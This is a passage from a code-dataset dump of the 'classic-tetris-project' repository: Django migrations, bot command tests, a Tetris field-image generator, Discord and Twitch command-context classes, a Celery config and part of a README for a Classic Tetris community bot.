runner, which gives more flexibility when discovering and running tests.\n\nThe full test suite can be run with:\n```\npython manage.py test\n```\nYou can specify a module if you only want to run all tests in that module. For example, if I wanted to run all tests inside of `tests/models/test_users.py`, then I could run either of:\n```\npython manage.py test tests.models.test_users\npython manage.py test tests/models/test_users.py\n```\nIf I wanted to run tests inside of a specific test class or a specific test method, I could run something like one of:\n```\npython manage.py test tests.models.test_users:UserTestCase.test_add_pb_creates_score_pb\npython manage.py test tests/models/test_users.py:UserTestCase.test_add_pb_creates_score_pb\n```\n\nYou can additionally run the test suite with [coverage.py](https://coverage.readthedocs.io/), a tool that measures the areas of your code base that are exercised when the test suite is run. See more information about how to run that with django [here](https://docs.djangoproject.com/en/2.2/topics/testing/advanced/#integration-with-coverage-py).\n\nFor more specific information on running tests, check out the testing docs for [nose](https://nose.readthedocs.io/en/latest/usage.html), [django-nose](https://django-nose.readthedocs.io/en/latest/usage.html), or [Django](https://docs.djangoproject.com/en/2.2/topics/testing/overview/).\n" }, { "alpha_fraction": 0.5896296501159668, "alphanum_fraction": 0.6355555653572083, "avg_line_length": 31.14285659790039, "blob_id": "189e36fa2e127cf4a1903d774d7e2a63ea8dabf7", "content_id": "e86f768dadda065b4e9693d955432a2a99aeaa25", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 675, "license_type": "permissive", "max_line_length": 198, "num_lines": 21, "path": "/classic_tetris_project/migrations/0009_twitchchannel.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2019-08-31 05:18\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0008_auto_20190825_0635'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='TwitchChannel',\n fields=[\n ('twitch_user', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, primary_key=True, related_name='channel', serialize=False, to='classic_tetris_project.TwitchUser')),\n ('connected', models.BooleanField(db_index=True, default=False)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6262102127075195, "alphanum_fraction": 0.6331258416175842, "avg_line_length": 30.78022003173828, "blob_id": "028c558564034d05eedf49a87d5eda14445befca", "content_id": "b37a31a8d57480254cb0cfa5a292ac11845a9563", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2894, "license_type": "permissive", "max_line_length": 72, "num_lines": 91, "path": "/classic_tetris_project/util/fieldgen/field_image_gen.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .basecanvas import BaseCanvas\nfrom .tiles import TileManager, TemplateManager\nfrom .assetpath import AssetPath\nfrom .garbage import GarbageGenerator\nfrom .gravity import GravityFrames\nfrom .level import LevelGenerator\nfrom .input import InputGenerator\nfrom .ai import Aesthetics\nfrom .activepiece import ActivePieceGenerator\n\n\nclass FieldImageGenerator(object):\n TILE_MANAGER = TileManager(AssetPath.get_asset_root())\n TEMPLATE_MANAGER = TemplateManager(AssetPath.get_asset_root())\n\n @staticmethod\n def image(simulation):\n generator = FieldImageGenerator(simulation)\n return generator.generate_image()\n\n def __init__(self, simulation):\n self.level = simulation.level % 256\n self.height = simulation.height\n self.sequence = simulation.sequence\n\n def generate_image(self):\n bc = BaseCanvas(self.TEMPLATE_MANAGER.template)\n self.generate_base(bc)\n\n if InputGenerator.input_too_long(self.sequence):\n return bc.export_bytearray()\n\n self.simulate_game(bc)\n return bc.export_bytearray()\n\n def generate_base(self, canvas):\n gg = GarbageGenerator(self.TILE_MANAGER)\n gg.draw_garbage(\n canvas.img,\n self.height,\n self.level,\n Aesthetics.get_target_column(self.sequence),\n )\n\n ig = InputGenerator(self.TILE_MANAGER)\n ig.draw_input_gray(canvas.img, self.sequence)\n\n lg = LevelGenerator(self.TILE_MANAGER)\n lg.draw_level(canvas.img, self.level)\n\n def simulate_game(self, canvas):\n gravity_frames = GravityFrames.get_gravityframes(self.level)\n column_dir = Aesthetics.get_piece_shift_direction(self.sequence)\n seq_length = InputGenerator.input_length(self.sequence)\n anim_length = seq_length + 3 * gravity_frames\n stop_grav = None\n if self.height < GarbageGenerator.TETRIS_HEIGHT:\n stop_grav = anim_length - (4 - self.height) * gravity_frames\n\n ig = InputGenerator(self.TILE_MANAGER)\n ap = ActivePieceGenerator(self.TILE_MANAGER)\n\n shifts = 0\n g_counter = 0\n for i in range(anim_length):\n new_frame = canvas.clone_baseimg()\n\n # input display\n ig.draw_input_red(new_frame, i, self.sequence)\n\n # perform the simulation\n if i in self.sequence:\n shifts += 1\n\n if stop_grav is None or g_counter < stop_grav:\n g_counter += 1\n\n # calculate long bar position\n piece_x = 5 + shifts * column_dir\n piece_y = 0 + g_counter // gravity_frames\n\n ap.draw_longbar(new_frame, (piece_x, piece_y), self.level)\n\n canvas.add_frame(new_frame)\n\n\nif __name__ == \"__main__\":\n # fg = FieldGenerator()\n bc = TileManager(\"hello\")\n print(bc)\n # fg.generate_image(19,7,[0,6,10,49])\n" }, { "alpha_fraction": 0.5715658068656921, "alphanum_fraction": 0.5715658068656921, "avg_line_length": 37.55555725097656, "blob_id": "614340b31c846e3774dc86be33d3848e3e319455", "content_id": "2a00d1f6bf329ce12854f8fc42f14ba9e766d87e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "permissive", "max_line_length": 70, "num_lines": 27, "path": "/classic_tetris_project/tests/commands/country.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\n\nclass GetCountryCommand_(CommandSpec):\n class discord:\n def test_with_own_user_and_no_country(self):\n self.assert_discord(\"!country\", [\n \"User has not set a country.\"\n ])\n\n def test_with_own_user_and_country(self):\n self.discord_user.user.set_country(\"us\")\n self.assert_discord(\"!country\", [\n f\"{self.discord_api_user.name} is from United States!\"\n ])\n\n def test_with_other_user_and_no_country(self):\n discord_user = DiscordUserFactory(username=\"Other User\")\n self.assert_discord(\"!country Other User\", [\n \"User has not set a country.\"\n ])\n\n def test_with_other_user_and_country(self):\n discord_user = DiscordUserFactory(username=\"Other User\")\n discord_user.user.set_country(\"us\")\n self.assert_discord(\"!country Other User\", [\n \"Other User is from United States!\"\n ])\n" }, { "alpha_fraction": 0.49384406208992004, "alphanum_fraction": 0.5034199953079224, "avg_line_length": 24.20689582824707, "blob_id": "68a2d2795e750f3cb388c104983f1e1f92f86d99", "content_id": "c2290c4b3c031c84ef2710381f53845082fba82b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 733, "license_type": "permissive", "max_line_length": 51, "num_lines": 29, "path": "/classic_tetris_project/util/fieldgen/basecanvas.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import io\n\n\nclass BaseCanvas(object):\n def __init__(self, template_image):\n self.img = template_image.copy()\n self.frames = []\n\n def clone_baseimg(self):\n return self.img.copy()\n\n def add_frame(self, other_image):\n self.frames.append(other_image)\n\n def export_bytearray(self):\n byte_array = io.BytesIO()\n if len(self.frames) == 0:\n self.img.save(byte_array, format=\"png\")\n else:\n self.img.save(\n byte_array,\n format=\"gif\",\n save_all=True,\n append_images=self.frames,\n delay=0.060,\n loop=0,\n )\n byte_array.seek(0)\n return byte_array\n" }, { "alpha_fraction": 0.5400981903076172, "alphanum_fraction": 0.5744680762290955, "avg_line_length": 26.772727966308594, "blob_id": "debf42deafef24b09ed3f9da9c3fbde60c5d1fa0", "content_id": "1542231b9bc007b5d616bdd719dff2748191ae8d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 611, "license_type": "permissive", "max_line_length": 135, "num_lines": 22, "path": "/classic_tetris_project/migrations/0010_auto_20191102_0433.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2019-11-02 04:33\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0009_twitchchannel'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='match',\n options={'verbose_name_plural': 'matches'},\n ),\n migrations.AddField(\n model_name='user',\n name='playstyle',\n field=models.CharField(choices=[('das', 'DAS'), ('hypertap', 'Hypertap'), ('hybrid', 'Hybrid')], max_length=16, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6172765493392944, "alphanum_fraction": 0.6310737729072571, "avg_line_length": 56.482757568359375, "blob_id": "7f5de9122d88776b20532eb2fc6f9b22e70060cc", "content_id": "64ad5022fa2488942d4848dd899956aaa598b798", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5001, "license_type": "permissive", "max_line_length": 119, "num_lines": 87, "path": "/classic_tetris_project/tests/commands/command.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from classic_tetris_project.test_helper import *\nfrom classic_tetris_project.commands.command import Command, CommandException\n\nclass Command_(Spec):\n class discord_user_from_username:\n def test_with_mention(self):\n discord_user = DiscordUserFactory(discord_id=\"1234\")\n\n assert_that(Command.discord_user_from_username(\"<@1234>\"), equal_to(discord_user))\n assert_that(Command.discord_user_from_username(\"<@1235>\"), equal_to(None))\n\n @patch(\"classic_tetris_project.discord.get_guild\")\n def test_with_username(self, get_guild):\n joe = DiscordUserFactory(discord_id=\"1234\")\n jane = DiscordUserFactory(discord_id=\"1235\")\n\n guild1 = MockDiscordGuild(members=[\n MockDiscordAPIUserFactory(name=\"Joe\", display_name=\"Joe Shmoe\", id=joe.discord_id),\n MockDiscordAPIUserFactory(name=\"Jack\", display_name=\"Jumping Jack\"),\n ])\n guild2 = MockDiscordGuild(members=[\n MockDiscordAPIUserFactory(name=\"Jane\", display_name=\"Plain Jane\", id=jane.discord_id),\n MockDiscordAPIUserFactory(name=\"Jack\", display_name=\"Jumping Jack\"),\n ])\n get_guild.return_value = guild1\n\n assert_that(Command.discord_user_from_username(\"joe shmoe\", guild1), equal_to(joe))\n assert_that(calling(Command.discord_user_from_username).with_args(\"plain jane\", guild1),\n raises(CommandException))\n assert_that(Command.discord_user_from_username(\"plain jane\", guild1, raise_invalid=False),\n equal_to(None))\n assert_that(Command.discord_user_from_username(\"jumping jack\", guild1), equal_to(None))\n\n assert_that(calling(Command.discord_user_from_username).with_args(\"joe shmoe\", guild2),\n raises(CommandException))\n assert_that(Command.discord_user_from_username(\"plain jane\", guild2), equal_to(jane))\n assert_that(Command.discord_user_from_username(\"jumping jack\", guild2), equal_to(None))\n\n assert_that(Command.discord_user_from_username(\"joe shmoe\"), equal_to(joe))\n assert_that(calling(Command.discord_user_from_username).with_args(\"plain jane\"),\n raises(CommandException))\n assert_that(Command.discord_user_from_username(\"jumping jack\"), equal_to(None))\n\n def test_with_username_and_discriminator(self):\n joe = DiscordUserFactory(discord_id=\"1234\")\n jane = DiscordUserFactory(discord_id=\"1235\")\n jack = DiscordUserFactory(discord_id=\"1236\")\n\n guild = MockDiscordGuild(members=[\n MockDiscordAPIUserFactory(name=\"Joe\", discriminator=\"0001\", display_name=\"Joe Shmoe\", id=joe.discord_id),\n MockDiscordAPIUserFactory(name=\"Joe\", discriminator=\"0002\", display_name=\"Jumping Jack\", id=jack.discord_id),\n MockDiscordAPIUserFactory(name=\"Jane\", display_name=\"Plain Jane\", id=jane.discord_id),\n ])\n\n assert_that(Command.discord_user_from_username(\"Joe#0001\", guild), equal_to(joe))\n assert_that(Command.discord_user_from_username(\"Joe#0002\", guild), equal_to(jack))\n assert_that(calling(Command.discord_user_from_username).with_args(\"Joe#0003\", guild),\n raises(CommandException))\n assert_that(Command.discord_user_from_username(\"Joe#0003\", guild, raise_invalid=False),\n equal_to(None))\n\n class twitch_user_from_username:\n def test_invalid(self):\n assert_that(calling(Command.twitch_user_from_username).with_args(\"invalid username\"),\n raises(CommandException))\n assert_that(Command.twitch_user_from_username(\"invalid username\", raise_invalid=False),\n equal_to(None))\n\n def test_with_existing(self):\n twitch_user = TwitchUserFactory(username=\"dexfore\")\n\n assert_that(Command.twitch_user_from_username(\"dexfore\"), equal_to(twitch_user))\n assert_that(Command.twitch_user_from_username(\"@dexfore\"), equal_to(twitch_user))\n assert_that(Command.twitch_user_from_username(\"dexfore\", existing_only=False),\n equal_to(twitch_user))\n assert_that(TwitchUser.objects.count(), equal_to(1))\n\n @patch.object(twitch.APIClient, \"user_from_username\",\n lambda self, username, client=None: MockTwitchAPIUser.create(username=username))\n def test_without_existing(self):\n twitch_user = TwitchUserFactory(username=\"professor_l\")\n\n assert_that(Command.twitch_user_from_username(\"dexfore\"), equal_to(None))\n assert_that(TwitchUser.objects.count(), equal_to(1))\n new_twitch_user = Command.twitch_user_from_username(\"dexfore\", existing_only=False)\n assert_that(new_twitch_user.username, equal_to(\"dexfore\"))\n assert_that(TwitchUser.objects.count(), equal_to(2))\n" }, { "alpha_fraction": 0.3534635901451111, "alphanum_fraction": 0.5818827748298645, "avg_line_length": 55.29999923706055, "blob_id": "42aafb86616dc6b29af5f314c753b028651b2277", "content_id": "ff1d25dba3c77c14c25841ceb6eab3b24bd0a95c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2815, "license_type": "permissive", "max_line_length": 113, "num_lines": 50, "path": "/classic_tetris_project/util/fieldgen/level.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .tiles import TileMath\n\n\nclass LevelString(object):\n # fmt: off\n LEVELS = [\n [0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15],\n [0x16, 0x17, 0x18, 0x19, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x00, 0x0A],\n [0x14, 0x1E, 0x28, 0x32, 0x3C, 0x46, 0x50, 0x5A, 0x64, 0x6E, 0x78, 0x82, 0x8C, 0x96, 0xA0, 0xAA],\n [0xB4, 0xBE, 0xC6, 0x20, 0xE6, 0x20, 0x06, 0x21, 0x26, 0x21, 0x46, 0x21, 0x66, 0x21, 0x86, 0x21],\n [0xA6, 0x21, 0xC6, 0x21, 0xE6, 0x21, 0x06, 0x22, 0x26, 0x22, 0x46, 0x22, 0x66, 0x22, 0x86, 0x22],\n [0xA6, 0x22, 0xC6, 0x22, 0xE6, 0x22, 0x06, 0x23, 0x26, 0x23, 0x85, 0xA8, 0x29, 0xF0, 0x4A, 0x4A],\n [0x4A, 0x4A, 0x8D, 0x07, 0x20, 0xA5, 0xA8, 0x29, 0x0F, 0x8D, 0x07, 0x20, 0x60, 0xA6, 0x49, 0xE0],\n [0x15, 0x10, 0x53, 0xBD, 0xD6, 0x96, 0xA8, 0x8A, 0x0A, 0xAA, 0xE8, 0xBD, 0xEA, 0x96, 0x8D, 0x06],\n [0x20, 0xCA, 0xA5, 0xBE, 0xC9, 0x01, 0xF0, 0x1E, 0xA5, 0xB9, 0xC9, 0x05, 0xF0, 0x0C, 0xBD, 0xEA],\n [0x96, 0x38, 0xE9, 0x02, 0x8D, 0x06, 0x20, 0x4C, 0x67, 0x97, 0xBD, 0xEA, 0x96, 0x18, 0x69, 0x0C],\n [0x8D, 0x06, 0x20, 0x4C, 0x67, 0x97, 0xBD, 0xEA, 0x96, 0x18, 0x69, 0x06, 0x8D, 0x06, 0x20, 0xA2],\n [0x0A, 0xB1, 0xB8, 0x8D, 0x07, 0x20, 0xC8, 0xCA, 0xD0, 0xF7, 0xE6, 0x49, 0xA5, 0x49, 0xC9, 0x14],\n [0x30, 0x04, 0xA9, 0x20, 0x85, 0x49, 0x60, 0xA5, 0xB1, 0x29, 0x03, 0xD0, 0x78, 0xA9, 0x00, 0x85],\n [0xAA, 0xA6, 0xAA, 0xB5, 0x4A, 0xF0, 0x5C, 0x0A, 0xA8, 0xB9, 0xEA, 0x96, 0x85, 0xA8, 0xA5, 0xBE],\n [0xC9, 0x01, 0xD0, 0x0A, 0xA5, 0xA8, 0x18, 0x69, 0x06, 0x85, 0xA8, 0x4C, 0xBD, 0x97, 0xA5, 0xB9],\n [0xC9, 0x04, 0xD0, 0x0A, 0xA5, 0xA8, 0x38, 0xE9, 0x02, 0x85, 0xA8, 0x4C, 0xBD, 0x97, 0xA5, 0xA8]\n ]\n # fmt: on\n\n @staticmethod\n def get_digits(level):\n first = level // 16\n second = level % 16\n table_entry = LevelString.LEVELS[first][second]\n first_digit = table_entry // 16\n second_digit = table_entry % 16\n return (first_digit, second_digit)\n\n\nclass LevelGenerator(object):\n NUM_TILES = 16\n\n def __init__(self, tile_gen):\n self.tile_gen = tile_gen\n\n def draw_level(self, image, level):\n level %= 256\n first, second = LevelString.get_digits(level)\n first_tile = self.tile_gen.get_number_tile(first)\n second_tile = self.tile_gen.get_number_tile(second)\n first_coord = TileMath.tile_indices_to_pixels(TileMath.LEVEL_START)\n second_coord = TileMath.tile_indices_to_pixels(TileMath.LEVEL_END)\n image.paste(first_tile, first_coord)\n image.paste(second_tile, second_coord)\n" }, { "alpha_fraction": 0.6061570048332214, "alphanum_fraction": 0.6093372106552124, "avg_line_length": 30.444000244140625, "blob_id": "9a1fa9c41b106292d1df81e18987b341cbfb640c", "content_id": "d0fc81898d1fbf4b4a57471255b4b80ae8e4c33d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7864, "license_type": "permissive", "max_line_length": 105, "num_lines": 250, "path": "/classic_tetris_project/commands/command_context.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import discord as discordpy\nimport logging\nimport re\nimport time\nfrom asgiref.sync import async_to_sync, sync_to_async\nfrom discord import ChannelType\n\nfrom .command import COMMAND_MAP\nfrom ..util import Platform, memoize\nfrom ..models.users import DiscordUser, TwitchUser\nfrom ..models.commands import CustomCommand\nfrom ..models.twitch import TwitchChannel\nfrom .. import discord\nfrom .. import twitch\n\nclass CommandContext:\n def __init__(self, content):\n self.content = content\n\n try:\n self.args_string = content[(content.index(\" \") + 1):]\n except ValueError:\n self.args_string = \"\"\n\n trimmed = re.sub(r\"\\s+\", \" \", content).strip()\n tokens = trimmed[len(self.prefix):].split(\" \")\n self.command_name = tokens[0].lower()\n self.args = tokens[1:]\n\n def dispatch(self):\n command_class = COMMAND_MAP.get(self.command_name)\n if command_class:\n command = command_class(self)\n command.check_support_and_execute()\n\n @classmethod\n def is_command(cls, message):\n return message.startswith(cls.prefix)\n\n @property\n def user(self):\n return self.platform_user.user\n\n def display_name(self, platform_user):\n if (self.platform == Platform.DISCORD and isinstance(platform_user, DiscordUser) and self.guild):\n return platform_user.display_name(self.guild.id)\n elif isinstance(platform_user, DiscordUser):\n return platform_user.display_name()\n else:\n return platform_user.display_name or platform_user.username\n\n def format_code(self, message):\n return message\n\n # Returns extra data to be included in a Rollbar error report\n def report_data(self):\n return {\n \"command\": self.command_name,\n \"args\": self.args_string,\n \"platform\": self.platform.name,\n }\n\n\n\nclass DiscordCommandContext(CommandContext):\n platform = Platform.DISCORD\n prefix = \"!\"\n def __init__(self, message):\n super().__init__(message.content)\n\n self.message = message\n self.channel = message.channel\n self.guild = message.guild\n self.author = message.author\n self.logger = discord.logger\n\n self.log(self.author, self.channel, self.message.content)\n\n def send_message(self, message):\n result = async_to_sync(self.channel.send)(message)\n self.log(discord.client.user, self.channel, message)\n return result\n\n def send_file(self, file, filename=None):\n f = discordpy.File(fp=file, filename=filename)\n result = async_to_sync(self.channel.send)(file=f)\n self.log(discord.client.user, self.channel, f\"<FILE UPLOAD>\")\n\n def send_message_full(self, channel_id, *args, **kwargs):\n channel = discord.get_channel(channel_id)\n result = async_to_sync(channel.send)(*args, **kwargs)\n \n kwargList = [str(key) +\":\" + str(kwargs[key]) for key in kwargs]\n logMsg = \"\\n\".join(kwargList) \n self.log(discord.client.user, self.channel, logMsg)\n return result\n\n def delete_message(self, message):\n async_to_sync(message.delete)()\n \n def add_reaction(self, message, emoji):\n async_to_sync(message.add_reaction)(emoji)\n\n def fetch_message(self, channel_id, message_id):\n channel = discord.get_channel(channel_id)\n if channel is None:\n return None\n return async_to_sync(channel.fetch_message)(message_id)\n \n @property\n def user_tag(self):\n return f\"<@{self.author.id}>\"\n\n @property\n @memoize\n def platform_user(self):\n return DiscordUser.get_or_create_from_user_obj(self.author)\n\n def format_code(self, message):\n return f\"`{message}`\"\n\n def log(self, user, channel, message, level=logging.INFO):\n if (isinstance(channel, discordpy.DMChannel)):\n channel_name = f\"@{channel.recipient.name}\"\n else:\n channel_name = channel.name\n\n self.logger.log(level, \"[{channel_name}] <{username}> {message}\".format(\n channel_name=channel_name,\n username=user.name,\n message=message\n ))\n\n def report_data(self):\n data = {\n **super().report_data(),\n \"discord_id\": self.author.id,\n \"discord_name\": self.author.name,\n \"channel_type\": self.channel.type.name,\n \"channel_id\": self.channel.id,\n }\n if self.channel.type == ChannelType.text:\n data[\"channel_name\"] = self.channel.name\n data[\"guild_id\"] = self.channel.guild.id\n data[\"guild_name\"] = self.channel.guild.name\n\n return data\n\nclass ReportCommandContext(DiscordCommandContext):\n prefix = \"<:redheart:545715946325540893>\"\n def __init__(self, message):\n super().__init__(message)\n \n def dispatch(self):\n command_class = COMMAND_MAP.get(\"reportmatch\")\n if command_class:\n command = command_class(self)\n command.check_support_and_execute()\n\nclass ScheduleCommandContext(DiscordCommandContext):\n prefix = \"🔥\" #jesus christ.\n def __init__(self, message):\n super().__init__(message)\n \n def dispatch(self):\n command_class = COMMAND_MAP.get(\"schedulematch\")\n if command_class:\n command = command_class(self)\n command.check_support_and_execute()\n\nclass TwitchCommandContext(CommandContext):\n platform = Platform.TWITCH\n prefix = \"!\"\n MAX_MESSAGE_LENGTH = 400\n\n def __init__(self, message):\n super().__init__(message.content)\n\n self.message = message\n self.channel = message.channel\n self.author = message.author\n\n self.logger = twitch.logger\n\n self.log(self.author, self.channel, self.message.content)\n\n def dispatch(self):\n if not self.dispatch_custom():\n super().dispatch()\n\n def dispatch_custom(self):\n if self.channel.type != \"channel\":\n return False\n\n twitch_user = TwitchUser.get_or_create_from_username(self.channel.name)\n try:\n channel = twitch_user.channel\n except TwitchChannel.DoesNotExist:\n return False\n\n command = CustomCommand.get_command(channel, self.command_name)\n if command:\n command.wrap(self).check_support_and_execute()\n return True\n else:\n return False\n\n def send_message(self, message):\n self.channel.send_message(message[0:self.MAX_MESSAGE_LENGTH])\n self.log(self.channel.client.username, self.channel, message)\n\n def log(self, user, channel, message, level=logging.INFO):\n if (isinstance(channel, twitch.Whisper)):\n channel_name = f\"@{channel.author}\"\n elif (isinstance(channel, twitch.PublicChannel)):\n channel_name = f\"#{channel.name}\"\n\n if (isinstance(user, twitch.User)):\n username=user.username\n else:\n username=user\n\n self.logger.log(level, \"[{channel_name}] <{username}> {message}\".format(\n channel_name=channel_name,\n username=username,\n message=message\n ))\n\n def report_data(self):\n data = {\n **super().report_data(),\n \"twitch_id\": self.author.id,\n \"twitch_username\": self.author.username,\n \"channel_type\": self.channel.type,\n }\n if self.channel.type == \"channel\":\n data[\"channel_name\"] = self.channel.name\n\n return data\n\n @property\n def user_tag(self):\n return f\"@{self.author.username}\"\n\n @property\n @memoize\n def platform_user(self):\n twitch_user = TwitchUser.fetch_or_create_by_twitch_id(self.author.id)\n twitch_user.update_username(self.author)\n return twitch_user\n" }, { "alpha_fraction": 0.561430811882019, "alphanum_fraction": 0.6096423268318176, "avg_line_length": 26.95652198791504, "blob_id": "2b2ac3e495e702a4f1e5f39bbb9b9e511759626a", "content_id": "0e533260d057e3c2e11b8134f50e92ff228b6a50", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 643, "license_type": "permissive", "max_line_length": 124, "num_lines": 23, "path": "/classic_tetris_project/migrations/0050_auto_20210515_0803.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-05-15 08:03\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0049_auto_20210417_2149'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='public',\n field=models.BooleanField(default=False, help_text='Controls whether the tournament page is available to view'),\n ),\n migrations.AddField(\n model_name='tournamentmatch',\n name='restreamed',\n field=models.BooleanField(default=True),\n ),\n ]\n" }, { "alpha_fraction": 0.7450980544090271, "alphanum_fraction": 0.7450980544090271, "avg_line_length": 18.125, "blob_id": "253a10c81746b3a4e988db9a6062e400d7c34abe", "content_id": "bfd626e5b10cb78b3223428ac8a2e54f82ab5f41", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 153, "license_type": "permissive", "max_line_length": 53, "num_lines": 8, "path": "/classic_tetris_project/test_helper/factories/pages.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import factory\n\nfrom classic_tetris_project.models import *\n\n\nclass PageFactory(factory.django.DjangoModelFactory):\n class Meta:\n model = Page\n" }, { "alpha_fraction": 0.5212598443031311, "alphanum_fraction": 0.5748031735420227, "avg_line_length": 24.399999618530273, "blob_id": "9a9a825c6e75c82ab641f0ec3c5c30a3823264f0", "content_id": "15c207e2cb73f117a84ae4796d02f8bb9d40d70b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "permissive", "max_line_length": 62, "num_lines": 25, "path": "/classic_tetris_project/migrations/0041_auto_20210327_2206.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-03-27 22:06\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0040_auto_20210327_1831'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournament',\n name='priority',\n field=models.IntegerField(default=1),\n preserve_default=False,\n ),\n migrations.AddField(\n model_name='tournament',\n name='seed_count',\n field=models.IntegerField(default=16),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.7396396398544312, "alphanum_fraction": 0.7432432174682617, "avg_line_length": 31.647058486938477, "blob_id": "deea80e876e1752619ac2d77a5722aabe96da5db", "content_id": "ea4d31eb71488ac993a5ef5fbc1adaad0eed39da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1110, "license_type": "permissive", "max_line_length": 89, "num_lines": 34, "path": "/classic_tetris_project_django/celery.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import os\n\nfrom celery import Celery\nfrom celery.signals import task_failure\n\n# set the default Django settings module for the 'celery' program.\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'classic_tetris_project_django.settings')\n\napp = Celery('classic_tetris_project_django')\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object('django.conf:settings', namespace='CELERY')\n\n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\n\n\n# https://www.mattlayman.com/blog/2017/django-celery-rollbar/\nif bool(os.environ.get('CELERY_WORKER_RUNNING', False)):\n from django.conf import settings\n import rollbar\n rollbar.init(**settings.ROLLBAR)\n\n def celery_base_data_hook(request, data):\n data['framework'] = 'celery'\n\n rollbar.BASE_DATA_HOOK = celery_base_data_hook\n\n @task_failure.connect\n def handle_task_failure(**kw):\n rollbar.report_exc_info(extra_data=kw)\n" }, { "alpha_fraction": 0.5718390941619873, "alphanum_fraction": 0.6192528605461121, "avg_line_length": 29.2608699798584, "blob_id": "e99a0634bbd97aae47e5ca942a5384b41d573777", "content_id": "22633bab03347d3cfbc52f9d2b2831a8418b675e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 696, "license_type": "permissive", "max_line_length": 144, "num_lines": 23, "path": "/classic_tetris_project/migrations/0046_auto_20210405_0650.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-04-05 06:50\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0045_auto_20210405_0043'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='tournamentplayer',\n name='name_override',\n field=models.CharField(blank=True, max_length=64, null=True),\n ),\n migrations.AlterField(\n model_name='tournament',\n name='placeholders',\n field=models.JSONField(blank=True, default=dict, help_text=\"Reserves a seed that won't get automatically populated by a qualifier\"),\n ),\n ]\n" }, { "alpha_fraction": 0.7787930369377136, "alphanum_fraction": 0.7817679643630981, "avg_line_length": 111.04762268066406, "blob_id": "914b63239bc68063955b88ebe4ecad9187f85e35", "content_id": "737b3d7181953c0fb3aefbc78c0586adc67e1bc5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4706, "license_type": "permissive", "max_line_length": 740, "num_lines": 42, "path": "/README.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# The Classic Tetris Bot\n\nThis repository is a new and improved bot for Classic Tetris Monthly that is designed to be accessible to the whole community, both in and out of CTM contexts. It is currently being run on a cloud computing instance rather than a home PC, and as such its uptime is drastically improved from the strikingly mediocre [former bot](https://github.com/professor-l/lsq-bot).\n\n*See also: our newest Classic Tetris project, [ctdb](https://github.com/professor-l/ctdb)*\n\n### Major Features\n\nHere are some of the greater features the bot supports:\n\n* Discord and 